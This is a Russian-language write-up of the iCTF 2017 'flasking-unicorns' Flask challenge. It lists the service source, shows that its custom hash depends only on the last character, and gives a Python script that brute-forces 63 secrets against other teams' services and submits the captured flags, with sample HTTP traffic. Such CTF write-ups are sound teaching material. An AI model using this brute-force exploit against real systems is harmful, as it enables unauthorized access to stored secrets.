Разбор заданий iCTF 2017: часть третья

flasking-unicorns

Так как реверсера в команде из трёх (а потом и двух) не было, продолжаем копать сервисы на Питоне. Второй наш эксплойт пал на web-сервер на движке Flask. Здесь хранились какие-то мемчики про пони, можно было «поймать единорога» — catch_unicorn, «посмотреть единорога» — see_unicorn.

Описание сервиса от организаторов: «Ловите единорогов для фана и выгоды». flag_id — это идентификатор части учетных данных, используемых для просмотра единорогов в сочетании с секретным ключом. Порт — 20009.

Полный листинг программы

#!/usr/bin/env python

import os
import json
import hashlib
import random
import shutil
from tempfile import NamedTemporaryFile

from flask import Flask, request, render_template, render_template_string, redirect, url_for
from urlparse import urlparse

from util import fold_left
import string

app = Flask(__name__)
debug = False
precomputed_hash_table = {}

# Unfortunately in python the hashes of strings are not stable over multiple runs as they are randomized to prevent
# hash table DOS because of collision attacks. Therefore we have to use our own stable implementation to be able to
# match strings between runs.
def ensure_hash_tree():
    global precomputed_hash_table
    if len(precomputed_hash_table) == 0:
        return update_hash_tree()
    return True

def update_hash_tree():
    global precomputed_hash_table
    if not os.path.isfile('../rw/hash_table.json'):
        return True
    try:
        with open('../rw/hash_table.json', 'r') as f:
            hash_tree = json.load(f)
            precomputed_hash_table.update(hash_tree)
            return True
    except OSError:
        return False


def writeout_hash_tree():
    global precomputed_hash_table
    with NamedTemporaryFile(dir=os.path.abspath('../rw/'), delete=False) as f:
        name = f.name
        json.dump(precomputed_hash_table, f)
        f.flush()
    os.rename(name, '../rw/hash_table.json')

def fast_str_hash(s):
    ensure_hash_tree()
    precomputed_values = []
    for c in s:
        if c not in precomputed_hash_table:
            update_hash_tree()
            if c not in precomputed_hash_table:
                h = int(hashlib.sha1(c).hexdigest(), 16)
                precomputed_hash_table[c] = h
                writeout_hash_tree()

        precomputed_values.append(precomputed_hash_table[c])
    return fold_left(precomputed_values)(0)(lambda s, v: s + v) & ((0x1 << 64) - 1)

# stolen from django:http.py
def is_safe_url(url, host=None):
    """
    Return ``True`` if the url is a safe redirection (i.e. it doesn't point to
    a different host and uses a safe scheme).
    Always returns ``False`` on an empty url.
    """
    if not url:
        return False
    url = url.strip()
    # Chrome treats  completely as /
    url = url.replace('', '/')
    # Chrome considers any URL with more than two slashes to be absolute, but
    # urlparse is not so flexible. Treat any url with three slashes as unsafe.
    if url.startswith('///'):
        return False
    url_info = urlparse(url)
    # Forbid URLs like http:///example.com - with a scheme, but without a hostname.
    # In that URL, example.com is not the hostname but, a path component. However,
    # Chrome will still consider example.com to be the hostname, so we must not
    # allow this syntax.
    if not url_info.netloc and url_info.scheme:
        return False
    return ((not url_info.netloc or url_info.netloc == host) and
            (not url_info.scheme or url_info.scheme in ['http', 'https']))

def get_safe_redirect():
    url = request.args.get('next')
    if url and is_safe_url(url):
        return url

    url = request.referrer
    if url and is_safe_url(url):
        return url

    return '/'

def make_background():
    return render_template('background.html', redirect=get_safe_redirect(), content="{{content|safe}}")

def error(message=None):
    if debug and message is not None:
        return render_template_string(make_background(), content=message)
    return redirect('/nice_try')

def validate_text(text):
    return all(c in string.ascii_letters + string.digits + '_' for c in text)

def validate_secret(s):
    return validate_text(s) and len(s) == 32

def validate_flag(s):
    return validate_text(s) and len(s) == 16

def validate_flag_id(s):
    return validate_text(s)

def store_flag(secret, flag):
    flags_dir = os.path.abspath('../append/flags/')
    if not os.path.isdir(flags_dir):
        os.makedirs(flags_dir)
    with NamedTemporaryFile(mode="w+b", dir=flags_dir, prefix='flg', delete=False) as f:
        json.dump({'secret': secret, 'flag': flag}, f)
        return os.path.basename(f.name)

@app.route("/", methods=["GET"])
@app.route("/index.html", methods=["GET"])
@app.route("/see_unicorn", methods=["GET"])
def see_unicorn():
    # import ipdb; ipdb.set_trace()
    background = make_background()
    if 'id' in request.args and 'secret' in request.args:
        flag_id = request.args.get('id', '')
        secret = request.args.get('secret', '')
        if not validate_flag_id(flag_id) or not validate_secret(secret):
            return error('invalid flag_id: {} or secret: {}'.format(list(flag_id), list(secret)))
        else:
            try:
                with open(os.path.abspath('../append/flags/' + flag_id), 'r') as f:
                    data = json.load(f)
                    if fast_str_hash(data['secret']) != fast_str_hash(secret):
                        return error('wrong secret')
                    else:
                        fg = render_template('fg_see_unicorn.html', flag=data['flag'], rand_val=random.randint(0, 3))
            except Exception as ex:
                return error('file {} not found: {}'.format(os.path.abspath('../append/flags/' + flag_id), ex))
    else:
        fg = render_template('fg_view_unicorn.html')
    return render_template_string(background, content=fg)

@app.route("/catch_unicorn", methods=["POST", "GET"])
def catch_unicorn():
    # import ipdb; ipdb.set_trace()
    background = make_background()
    if request.method == 'POST':
        secret = request.form.get('secret', '')
        flag = request.form.get('name', '')
        # print "Secret: {}, Flag: {}".format(secret, flag)
        if validate_secret(secret) and validate_flag(flag):
            flag_id = store_flag(secret, flag)
            fg = render_template('fg_jailed_unicorn.html', flag_id=flag_id, secret=secret, flag=flag)
        else:
            return error('invalid flag: {} or secret: {}'.format(list(flag), list(secret)))
    else:
        fg = render_template('fg_catch_unicorn.html')
    return render_template_string(background, content=fg)

@app.route("/nice_try", methods=["GET"])
def nice_try():
    # import ipdb; ipdb.set_trace()
    background = make_background()
    return render_template_string(background,
                                  content="<div class="container"><h1>Nice try!</h1>You didn't really think that would work, did you?</div>")

if __name__ == '__main__':
    app.run()

и связанный с ним utils.py
import contextlib
import os
import shutil
import tempfile
import random

@contextlib.contextmanager
def cd(newdir, cleanup=lambda: None):
    prevdir = os.getcwd()
    os.chdir(os.path.expanduser(newdir))
    try:
        yield
    finally:
        os.chdir(prevdir)
        cleanup()

@contextlib.contextmanager
def tempdir():
    dirpath = tempfile.mkdtemp()

    def cleanup():
        shutil.rmtree(dirpath)

    with cd(dirpath, cleanup):
        yield dirpath

def _fold(iterable, direction):
    firststage = []
    ordering = lambda v: v
    if direction == 'right':
        ordering = reversed
    elif direction == 'random':
        ordering = lambda array: random.sample(array, len(array))

    for v in ordering(iterable):
        firststage.append(lambda start, func: func(start, v))

    def start_val_stage(start_val):
        def func_stage(func):
            val = start_val
            for l in firststage:
                val = l(val, func)
            return val
        return func_stage
    return start_val_stage

def fold_left(iterable):
    return _fold(iterable, 'left')

def fold_right(iterable):
    return _fold(iterable, 'right')

def fold(iterable):
    return _fold(iterable, 'random')

Судя по комментариям в коде, автор остался недоволен системой хэширования в Python’е, так как это небезопасно и слишком предсказуемо, поэтому написал свою реализацию на основе предварительно сгенерированных хэш-таблиц.

def fast_str_hash(s):
    ensure_hash_tree()
    precomputed_values = []
    for c in s:
        if c not in precomputed_hash_table:
            update_hash_tree()
            if c not in precomputed_hash_table:
                h = int(hashlib.sha1(c).hexdigest(), 16)
                precomputed_hash_table[c] = h
                writeout_hash_tree()

        precomputed_values.append(precomputed_hash_table[c])
    return fold_left(precomputed_values)(0)(lambda s, v: s + v) & ((0x1 << 64) - 1)

Она добавляет sha1-хэш неизвестного системе до этого символа в json-файл. Затем выполняется ужасная функция fold_left, и вот мы получаем в итоге «уникальный цифровой хэш» для каждого слова.

def _fold(iterable, direction):
    firststage = []

    for v in ordering(iterable):
        firststage.append(lambda start, func: func(start, v))

    def start_val_stage(start_val):
        def func_stage(func):
            val = start_val
            for l in firststage:
                val = l(val, func)
            return val
        return func_stage
    return start_val_stage

Затем вся эта прелесть записывается через функцию NamedTemporaryFile в файл вормата flg_%trash%. Содержание следующее:

{
    "secret": "6x3za8YTGJMkyMLPQXMtZRGcACqgiH38",
    "flag": "FLGZRSzFBw6n61wJ"
}

Длина секрета должна быть 32, флага – 16.

В чём же была уязвимость?

В этой функции _fold. Если запустить её отдельно и потестировать на отдельных примерах, то становится понятно — весь хэш функции зависит только от последней буквы. Убедимся:

print(fast_str_hash('XjWPxCSc8JUAZtrjwxslasOJjQ2P8N1t')) # другой хэш
print(fast_str_hash('XjWPxCSc8JUAZtrjwxslasOJjQ2P8N1x')) # хэш одинаковый
print(fast_str_hash('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax')) # хэш одинаковый

Из функции validate_text узнаём, что всего возможно 63 возможных хэша (26 букв нижнего + 26 букв верхнего регистров, 10 цифр и ‘_’). Разумеется, «брутфорс» из 63 это уже что-то. Организаторы говорили нам, что неверно ищем флаги, можно избежать этого, но как-то не додумали этот вопрос и остановились на подборе. Словарь маленький, всё просто.

Итак, эксплойт:

  1. Подключаемся к нашему веб-серверу через requests (модуль для работы с HTTP в Python)

  2. Делаем брут по словарю на запрос http://ip:port/?id=flag_id&secret=hash , где flag_id нам уже известен, hash — строка из 32 символов, последний постоянно меняем.

  3. Если в ответ мы получаем слово Ah, {{flag}} is as gorgeous as ever! (мы просто брали подстрочку “Ah,“) то затем выдёргиваем следующее слово (которое и есть наш флаг)

  4. Отправляем его на сервер жюри

Код эксплойта на языке Python:

from ictf import iCTF
import json
import requests
import string
i = iCTF()
t = i.login('EMAIL', 'PASSWORD')
alph = string.ascii_letters + "_" + string.digits
bad = []
while 1:
    try:
        tmp = t.get_targets(10009)
        for team in tmp['targets']:
            if team['hostname'] not in bad:
                issub = 0
                for c in alph:
                    try:
                        r = requests.get('http://{}:{}/?id={}&secret={}'.format(team['hostname'], team['port'], team['flag_id'], "z"*31+c), timeout=2)
                    except requests.exceptions.RequestException:
                        break
                    if "Ah, " in r.text:
                        issub = 1
                        a = r.text.find('FLG')
                        kaef = t.submit_flag(list([r.text[a:a+16]]))
                        print(kaef)
                        print(r.text[a:a+16])
                        break
                if issub == 0:
                    bad.append(team['hostname'])
                    print("Bad team detected: %s" % team['team_name'])
        if(len(bad) > 200):
            print("Flushing bad...")
            bad = []
    except Exception as ex:
        print(ex)

Так как раунд шёл в среднем по 6-8 минут, команд надо было опросить свыше 300, мы решили завести «блеклист» команд, которые слишком долго отвечают на запросы. Также были убраны команды, которые не удалось взломать. Благодаря этому, наш скрипт заработал в полную силу и мы начали стремительно подниматься вверх.

Как это выглядело в виде сетевого трафика (мы красные, сервер синий):

При неудачном запросе:

GET /see_unicorn?secret=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab&id=flg8Cu5yj HTTP/1.1
Host: team130:20009
Accept-Encoding: gzip, deflate, compress
Accept: */*
User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-107-generic

HTTP/1.1 302 FOUND
Date: Sat, 04 Mar 2017 14:34:38 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 225
Location: http://team130:20009/nice_try
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/nice_try">/nice_try</a>. If not click the link.

При удачном запросе:

GET /see_unicorn?secret=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab&id=flg8Cu5yj HTTP/1.1
Host: team130:20009
Accept-Encoding: gzip, deflate, compress
Accept: */*
User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-107-generic

HTTP/1.1 200 OK
Date: Sat, 04 Mar 2017 14:34:38 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 225
Location: http://team130:20009/see_unicorn
Content-Type: text/html; charset=utf-8

<div class="container">
<h1>Ah, FLGDqdj2PgqW010F is as gorgeous as ever!</h1>
    <img src="static/unicorn_{{rand_val}}.jpg">
</div>